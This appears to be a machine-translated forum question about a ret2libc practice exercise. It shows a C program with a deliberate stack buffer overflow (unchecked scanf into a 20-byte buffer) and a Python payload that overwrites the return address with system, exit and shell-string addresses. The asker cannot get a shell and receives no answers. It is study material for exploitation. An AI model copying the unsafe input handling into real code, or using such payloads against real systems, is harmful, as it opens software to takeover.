ret2libc漏洞利用练习导致/ bin / bash:警告:命令替换:输入中的空字节被忽略

时间:2020-09-14 10:47:13

标签: c linux gdb exploit

我正在使用以下C代码来创建以下漏洞:

#include <stdio.h>
void secretFunction()
{
  printf("Congratulations!\n");
  printf("You have entered in the secret function!\n");
}
void echo()
{
            char buffer[20];
            printf("Enter some text:\n");
            scanf("%s", buffer);
            printf("You entered: %s\n", buffer);
}    
int main()
{
            echo();
            return 0;
}

我用python编写了漏洞利用程序:

system_addr = struct.pack("<I", 0xb7e1d200)
shell_addr  = struct.pack("<I", 0xbffffef3)
exit_addr   = struct.pack("<I", 0xb7e103d0)
buf  =   "B" * 32
buf  +=  system_addr
buf  +=  exit_addr
buf  +=  shell_addr
print buf

当我在gdb中兴奋时,它给了我:

/bin/bash: warning: command substitution: ignored null byte in input

并且没有重定向到shell那么问题是什么?

0 个答案:

没有答案